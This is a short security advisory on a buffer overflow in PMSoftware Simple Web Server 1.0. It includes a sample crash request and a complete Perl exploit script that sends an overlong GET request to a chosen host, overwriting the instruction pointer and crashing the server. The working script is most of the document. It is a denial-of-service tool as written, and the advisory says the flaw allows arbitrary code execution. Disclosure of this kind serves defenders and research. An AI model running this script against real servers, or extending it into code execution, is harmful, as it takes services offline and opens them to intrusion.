  PMSoftware Simple Web Server Buffer Overflow
------------------------------------------------------------------------


SUMMARY

" <http://www.pmx.it/> Simple Web Server the easy and small way to open an 
HTTP Web Server"

PMSoftware's Simple Web Server doesn't do proper bounds checking handling 
of normal GET requests. Sending an overlong page or script name, it causes 
an buffer overflow and an attacker can run arbitrary code on the victims 
machine.

DETAILS

Vulnerable Systems:
 * Simple Web Server version 1.0

The following request causes Simple Web Server to crash:
GET /AAAAAA.....AAAA with 260 A's

Exploit:
#!/usr/bin/perl
# DoS Exploit By mthumann@ernw.de
# Tested against WinXP + SP2
# Remote Buffer Overflow in PMSoftware Simple Web Server 1.0.15
# buffer[250]

use Socket;

print "PMSoftware Simple Web Server Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) {
        print "Usage: swsexploit.pl <host>\n";
exit;}

$ip=$ARGV[0];

print "Sending Shellcode to: " . $ip . "\n\n";
my $testcode= "ERNWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB".
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC".
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD".
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE".
"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF".
"ABCDEFGHIJAAAA"; #EIP =41414141

my $attack="GET /".$testcode." HTTP/1.1\n" ;

$target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);
                $|=1;
                print $attack;
                my @in=<S>;
                select(STDOUT);
                close(S);
        } else { die("Can't connect...\n"); }
